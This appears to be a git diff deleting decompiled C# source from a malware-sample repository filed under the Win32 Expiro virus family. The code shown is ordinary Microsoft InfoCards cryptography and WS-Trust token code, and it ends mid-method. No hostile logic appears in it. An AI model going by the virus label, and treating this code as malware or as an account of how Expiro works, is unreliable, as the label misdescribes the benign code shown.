b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs deleted file mode 100644 index 5c2eecfe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoRsaServiceProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoRsaServiceProvider : RSA, ICspAsymmetricAlgorithm - { - private const int CRYPT_OAEP = 64; - private X509CertificateTokenFactoryCredential m_credential; - private RpcCryptoContext m_context; - private CspKeyContainerInfo m_cspInfo; - private UIAgentRequest m_request; - private object m_sync = new object(); - private bool m_disposed; - - public RemoteCryptoRsaServiceProvider( - X509CertificateTokenFactoryCredential credential, - UIAgentRequest request) - { - this.m_credential = credential; - this.m_context = new RpcCryptoContext(this.m_credential.PortName, this.m_credential.ContextKey); - this.m_cspInfo = new CspKeyContainerInfo(new CspParameters() - { - KeyContainerName = "RpcCrypto", - ProviderName = "RpcCrypto", - ProviderType = 0, - KeyNumber = 1 - }); - this.m_request = request; - } - - CspKeyContainerInfo ICspAsymmetricAlgorithm.CspKeyContainerInfo => this.m_cspInfo; - - byte[] ICspAsymmetricAlgorithm.ExportCspBlob( - bool includePrivateParameters) - { - if (!(this.m_credential.Certificate.PublicKey.Key is ICspAsymmetricAlgorithm key)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - if (includePrivateParameters) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - return key.ExportCspBlob(false); - } - - void ICspAsymmetricAlgorithm.ImportCspBlob(byte[] rawData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string KeyExchangeAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeyExchangeAlgorithm : (string) null; - - public override string SignatureAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.SignatureAlgorithm : (string) null; - - public override int KeySize - { - get => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeySize : 0; - set => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override KeySizes[] LegalKeySizes => new KeySizes[1] - { - new KeySizes(this.KeySize, this.KeySize, 0) - }; - - public byte[] SignHash(int hashAlg, byte[] hash) - { - this.ThrowIfRemoteProcessDied(); - RemoteCryptoSignHashRequest cryptoSignHashRequest = new RemoteCryptoSignHashRequest(this.GetContext(), hashAlg, 0, hash); - cryptoSignHashRequest.Process(); - byte[] signature = cryptoSignHashRequest.GetSignature(); - this.ThrowIfRemoteProcessDied(); - return signature; - } - - public override byte[] DecryptValue(byte[] rgb) - { - this.ThrowIfRemoteProcessDied(); - byte[] numArray = new byte[rgb.Length]; - Array.Copy((Array) rgb, 0, (Array) numArray, 0, rgb.Length); - RemoteCryptoDecryptRequest cryptoDecryptRequest = new RemoteCryptoDecryptRequest(this.GetContext(), 0, true, numArray, 0, numArray.Length, 0, (byte[]) null); - cryptoDecryptRequest.Process(); - byte[] destinationArray = new byte[cryptoDecryptRequest.Length]; - Array.Copy((Array) cryptoDecryptRequest.GetBuffer(), cryptoDecryptRequest.Index, (Array) destinationArray, 0, cryptoDecryptRequest.Length); - this.ThrowIfRemoteProcessDied(); - return destinationArray; - } - - public override byte[] EncryptValue(byte[] rgb) => ((RSA) this.m_credential.Certificate.PublicKey.Key).EncryptValue(rgb); - - public override RSAParameters ExportParameters(bool includePrivateParameters) - { - if (includePrivateParameters || this.m_credential.Certificate.PublicKey == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - if (this.m_credential.Certificate.PublicKey.Key is RSA) - return ((RSA) this.m_credential.Certificate.PublicKey.Key).ExportParameters(false); - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - } - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - int num = disposing ? 1 : 0; - ((IDisposable) this.m_context).Dispose(); - this.m_disposed = true; - } - } - - private RpcCryptoContext GetContext() - { - if (!this.m_context.IsOpen) - this.m_context.Open(); - return this.m_context; - } - - private void ThrowIfRemoteProcessDied() - { - if (!this.m_request.ParentRequest.UIAgentActive) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("RemoteCryptoSessionUnavailable"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs deleted file mode 100644 index 08e3a927..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoSignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoSignHashRequest : RpcCryptoRequest - { - private byte[] m_signature; - private byte[] m_hash; - private int m_hashType; - private int m_flags; - - public RemoteCryptoSignHashRequest( - RpcCryptoContext context, - int hashType, - int flags, - byte[] hash) - : base(context) - { - this.m_hash = hash; - this.m_hashType = hashType; - this.m_flags = flags; - } - - public override string Name => "RpcCryptoSignHashRequest"; - - public byte[] GetSignature() => this.m_signature; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream); - binaryWriter.Write(this.m_hashType); - binaryWriter.Write(this.m_flags); - binaryWriter.Write(this.m_hash.Length); - binaryWriter.Write(this.m_hash, 0, this.m_hash.Length); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_signature = binaryReader.ReadBytes(binaryReader.ReadInt32()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs deleted file mode 100644 index 0c798a0c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoTokenProvider : SecurityTokenProvider, IDisposable - { - private RemoteX509Token m_token; - private X509Certificate2 m_certificate; - private object m_sync; - - public RemoteCryptoTokenProvider(X509Certificate2 cert) - { - this.m_sync = new object(); - this.m_certificate = cert; - } - - public void Dispose() - { - IDisposable token = (IDisposable) this.m_token; - if (token == null) - return; - token.Dispose(); - this.m_token = (RemoteX509Token) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) => (SecurityToken) this.InnerGetToken(); - - private X509SecurityToken InnerGetToken() - { - if (this.m_token == null) - { - lock (this.m_sync) - { - if (this.m_token == null) - this.m_token = new RemoteX509Token(this.m_certificate); - } - } - return (X509SecurityToken) this.m_token; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteTokenFactory.cs deleted file mode 100644 index d3842178..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteTokenFactory.cs +++ /dev/null @@ -1,546 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Claims; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RemoteTokenFactory : TokenFactoryBase - { - internal const string MetadataExchangeClientKey = "MetadataExchangeClientKey"; - private ServiceEndpoint m_endPoint; - private ChannelFactory m_channelFactory; - private object m_channelChangeSync; - private IWebProxy m_proxy; - private ProtocolProfile m_protocolProfile; - private Dictionary m_disclosedClaims; - - public RemoteTokenFactory(ServiceEndpoint endPoint, IWebProxy proxy) - { - this.m_endPoint = endPoint; - this.m_channelChangeSync = new object(); - this.m_proxy = proxy; - } - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameter, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == parameter, nameof (parameter)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == credential, nameof (credential)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - RSACryptoServiceProvider key = (RSACryptoServiceProvider) null; - byte[] numArray = (byte[]) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - RSAKeyValue val = (RSAKeyValue) null; - string internalTokenReference = string.Empty; - string externalTokenReference = string.Empty; - GenericXmlSecurityToken tok = (GenericXmlSecurityToken) null; - this.m_protocolProfile = policy.ProtocolVersionProfile; - bool flag1 = false; - RSATokenProvider rsaTokenProvider = (RSATokenProvider) null; - TokenDescriptor tokenDescriptor; - try - { - if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - key = card.GetPublicCryptography(policy.Recipient.GetIdentifier()); - flag1 = true; - InfoCardTrace.Assert(null == numArray, "Null in in asymmetric case"); - } - else if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - numArray = new byte[(IntPtr) (policy.GetIntelligentKeySize(false) / 8U)]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - InfoCardTrace.Assert(null == key, "Null in symmetric case"); - } - else - { - InfoCardTrace.Assert(null == key, "Null in no proof key case"); - InfoCardTrace.Assert(null == numArray, "Null in no proof key case"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Null in no proof key case"); - } - if (this.m_endPoint == null) - this.m_endPoint = RemoteTokenFactory.DoMexExchange(parameter, this.m_proxy); - BindingElementCollection bindingElements = this.m_endPoint.Binding.CreateBindingElements(); - SecurityBindingElement securityBindingElement = bindingElements.Find(); - if (securityBindingElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) this.m_endPoint.Address.Uri))); - this.m_protocolProfile.WSTrust = securityBindingElement.MessageSecurityVersion.TrustVersion != TrustVersion.WSTrust13 ? (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance : (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - Binding binding1 = this.m_endPoint.Binding; - EndpointAddress address = this.m_endPoint.Address; - if (flag1) - { - SupportingTokenParameters supportingTokenParameters; - if (securityBindingElement.OptionalOperationSupportingTokenParameters.ContainsKey(this.m_protocolProfile.WSTrust.RequestSecurityTokenAction)) - { - supportingTokenParameters = securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction]; - } - else - { - supportingTokenParameters = new SupportingTokenParameters(); - securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction] = supportingTokenParameters; - } - bool flag2 = true; - foreach (SecurityTokenParameters securityTokenParameters in supportingTokenParameters.Endorsing) - { - if (securityTokenParameters is RsaSecurityTokenParameters) - { - flag2 = false; - break; - } - } - if (flag2) - { - RsaSecurityTokenParameters securityTokenParameters = new RsaSecurityTokenParameters(); - securityTokenParameters.InclusionMode = SecurityTokenInclusionMode.Never; - securityTokenParameters.RequireDerivedKeys = false; - supportingTokenParameters.Endorsing.Add((SecurityTokenParameters) securityTokenParameters); - } - binding1 = (Binding) new CustomBinding(bindingElements); - } - Binding binding2 = (Binding) new CustomBinding(Utility.UpdateProxyForHttpAndRestrictTransportBinding(binding1.CreateBindingElements(), this.m_proxy, false)); - InfoCardServiceClientCredentials clientCredentials1 = new InfoCardServiceClientCredentials(credential, this.m_protocolProfile); - if (flag1) - { - rsaTokenProvider = new RSATokenProvider(policy, card); - clientCredentials1.EndorsingSignatureTokenProvider = rsaTokenProvider; - } - ChannelFactory channelFactory = (ChannelFactory) null; - bool flag3 = false; - List disclosedClaims; - DisplayToken displayToken; - try - { - InfoCardTrace.Assert(!flag3, "Will set to true upon sucess"); - lock (this.m_channelChangeSync) - { - if (this.IsAborted) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - channelFactory = new ChannelFactory(binding2, address); - clientCredentials1.Windows.AllowNtlm = false; - ClientCredentials clientCredentials2 = channelFactory.Endpoint.Behaviors.Find(); - if (clientCredentials2 != null) - channelFactory.Endpoint.Behaviors.Remove((IEndpointBehavior) clientCredentials2); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials1); - X509Certificate2Collection certificate2Collection = (X509Certificate2Collection) null; - bool chainTrustPassed = false; - switch (parameter.CredentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - clientCredentials1.UserName.UserName = ((UserNameTokenFactoryCredential) credential).UserName; - clientCredentials1.UserName.Password = ((UserNameTokenFactoryCredential) credential).Password; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.SelfIssuedCredential: - clientCredentials1.IsSelfIssuedCred = true; - SelfIssuedTokenFactoryCredential factoryCredential = (SelfIssuedTokenFactoryCredential) credential; - clientCredentials1.SelectedCard = factoryCredential.LocalCard; - certificate2Collection = this.GetCertificateChainFromAddress(address); - X509Certificate2 x509Certificate2 = certificate2Collection[0]; - InfoCardX509Validator.ValidateChainOrPeer(x509Certificate2, certificate2Collection, out chainTrustPassed); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(x509Certificate2, certificate2Collection, chainTrustPassed, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(x509Certificate2, certificate2Collection, chainTrustPassed); - this.EnsureSelfIssuedCardHasLedgerEntryForIssuer(factoryCredential.LocalCard, x509Certificate2, recipientIdHash, organizationIdHash, recipientParams, organizationIdHash); - clientCredentials1.ServiceCertificate.DefaultCertificate = x509Certificate2; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.X509CertificateCredential: - clientCredentials1.ClientCertificate.Certificate = ((X509CertificateTokenFactoryCredential) credential).Certificate; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.KerberosCredential: - clientCredentials1.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials1.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - this.m_channelFactory = channelFactory; - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - goto case TokenFactoryCredentialType.KerberosCredential; - } - } - try - { - RemoteTokenFactory.ISts channel = channelFactory.CreateChannel(); - if (key != null) - val = new RSAKeyValue((RSA) key); - this.m_disclosedClaims = card.GetClaimsToBeDisclosed(policy, discloseOptional); - disclosedClaims = new List(this.m_disclosedClaims.Count); - disclosedClaims.AddRange((IEnumerable) this.m_disclosedClaims.Keys); - RequestSecurityToken rst = this.CreateRst(binding2.MessageVersion.Addressing, policy, card, discloseOptional, val, numArray, new CultureInfo(credential.LCID)); - Message message1 = Message.CreateMessage(binding2.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) rst); - Message message2 = (Message) null; - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenFeb2005(message1); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenWSTrust13(message1); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - WSIdentityFaultException.ThrowIfFaultMessage(message2, CultureInfo.GetCultureInfo(credential.LCID)); - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - tok = RequestSecurityTokenResponseHelper.ProcessSymmetricTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, numArray, this.m_protocolProfile, out displayToken); - if (tok.ProofToken.SecurityKeys.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - foreach (SecurityKey securityKey in tok.ProofToken.SecurityKeys) - { - if (securityKey is InMemorySymmetricSecurityKey) - { - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - symmetricProof.Key = ((SymmetricSecurityKey) securityKey).GetSymmetricKey(); - break; - } - } - if (symmetricProof == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - tok = RequestSecurityTokenResponseHelper.ProcessAsymmetricTokenData(message2.GetReaderAtBodyContents(), (RSA) key, (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal"); - tok = RequestSecurityTokenResponseHelper.ProcessBearerTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - channelFactory.Close(); - flag3 = true; - } - finally - { - lock (this.m_channelChangeSync) - { - if (!flag3) - channelFactory.Abort(); - this.m_channelFactory = (ChannelFactory) null; - } - } - } - catch (EndpointNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), (Exception) ex)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ProblemRetrievingTokenFromIdentityProvider"), ex)); - throw; - } - XmlElement xmlElement = tok.TokenXml; - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient && !this.IsEncryptedXml(xmlElement)) - { - if (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(policy, card.RequireAppliesto) == AppliesToBehaviorDecision.DoNotSend) - { - try - { - string asymmetricKeyWrapAlgorithm = policy.KeyType != SecurityKeyTypeInternal.SymmetricKey ? (SecurityKeyTypeInternal.AsymmetricKey != policy.KeyType ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? policy.OptionalRstParams.EncryptWith : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - xmlElement = EncryptionUtility.EncryptSecurityToken(xmlElement, immediateTokenRecipient.LeafCertificate, !string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm) ? policy.OptionalRstParams.EncryptionAlgorithm : SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm, asymmetricKeyWrapAlgorithm, policy.ProtocolVersionProfile); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException("ServiceTokenEncryptionFailed", ex)); - throw; - } - } - } - this.GetKeyIdentifierClauses(tok, policy.ProtocolVersionProfile, out internalTokenReference, out externalTokenReference); - this.FillOutDisplayToken(card, displayToken); - tokenDescriptor = new TokenDescriptor(tok.Id, tok.ValidFrom, tok.ValidTo, xmlElement, displayToken, symmetricProof, internalTokenReference, externalTokenReference, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - finally - { - key?.Dispose(); - if (val != null) - { - val.Key.Dispose(); - val.Key = (RSA) null; - } - symmetricProof?.Dispose(); - rsaTokenProvider?.Dispose(); - } - return tokenDescriptor; - } - - protected override void OnAbort() - { - lock (this.m_channelChangeSync) - { - if (this.IsAborted || this.m_channelFactory == null) - return; - this.m_channelFactory.Abort(); - } - } - - private X509Certificate2Collection GetCertificateChainFromAddress( - EndpointAddress address) - { - if ((EndpointAddress) null == address || address.Identity == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - if (!(address.Identity is X509CertificateEndpointIdentity identity) || identity.Certificates == null || identity.Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - return identity.Certificates; - } - - public static ServiceEndpoint DoMexExchange( - TokenCreationParameter param, - IWebProxy proxy) - { - ServiceEndpoint endPoint = (ServiceEndpoint) null; - bool flag = false; - EndpointAddress address = param != null && !((EndpointAddress) null == param.Epr) ? Utility.DeriveMexAddress(param.Epr) : throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - if ((EndpointAddress) null == address) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - InfoCardMetadataExchangeClient metadataExchangeClient = new InfoCardMetadataExchangeClient(); - metadataExchangeClient.Proxy = proxy; - MetadataSet metadata = (MetadataSet) null; - metadataExchangeClient.ResolveMetadataReferences = true; - metadataExchangeClient.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - Exception inner = (Exception) null; - try - { - metadata = metadataExchangeClient.GetMetadata(address); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - metadata = metadataExchangeClient.GetMetadata(address.Uri, MetadataExchangeClientMode.HttpGet); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - inner = ex; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), inner)); - WsdlImporter wsdlImporter = new WsdlImporter(metadata); - wsdlImporter.State.Add((object) "MetadataExchangeClientKey", (object) metadataExchangeClient); - ServiceEndpointCollection endpointCollection = wsdlImporter.ImportAllEndpoints(); - if (endpointCollection != null) - { - foreach (ServiceEndpoint serviceEndpoint in (Collection) endpointCollection) - { - if (Utility.CompareUri(serviceEndpoint.Address.Uri, param.Epr.Uri)) - { - ISecurityCapabilities property = serviceEndpoint.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsServerAuthentication) - { - endPoint = serviceEndpoint; - break; - } - } - } - if (endPoint == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - RemoteTokenFactory.ValidateEndpointAddressIdentityFromMex(endPoint); - return endPoint; - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - } - - private static void ValidateEndpointAddressIdentityFromMex(ServiceEndpoint endPoint) - { - EndpointIdentity identity = endPoint.Address.Identity; - Uri uri = endPoint.Address.Uri; - if (identity != null && identity.IdentityClaim != null && identity.IdentityClaim.ClaimType != null && ClaimTypes.Dns != identity.IdentityClaim.ClaimType && ClaimTypes.Spn != identity.IdentityClaim.ClaimType && ClaimTypes.Thumbprint != identity.IdentityClaim.ClaimType) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - if (identity == null || identity.IdentityClaim == null || identity.IdentityClaim.ClaimType == null) - return; - if (ClaimTypes.Dns == identity.IdentityClaim.ClaimType) - { - if (!NativeMcppMethods.DnsNameCompareWrapper(identity.IdentityClaim.Resource.ToString(), uri.DnsSafeHost)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - } - else if (ClaimTypes.Spn == identity.IdentityClaim.ClaimType) - { - string str = identity.IdentityClaim.Resource.ToString(); - if (!string.Format((IFormatProvider) CultureInfo.InvariantCulture, "host/{0}", new object[1] - { - (object) uri.DnsSafeHost - }).Equals(str, StringComparison.OrdinalIgnoreCase)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - } - else - InfoCardTrace.Assert(ClaimTypes.Thumbprint == identity.IdentityClaim.ClaimType, "Should be Thumbprint"); - } - - private RequestSecurityToken CreateRst( - AddressingVersion version, - InfoCardPolicy policy, - InfoCard card, - bool discloseOptional, - RSAKeyValue val, - byte[] clientEntropyForSymmetric, - CultureInfo 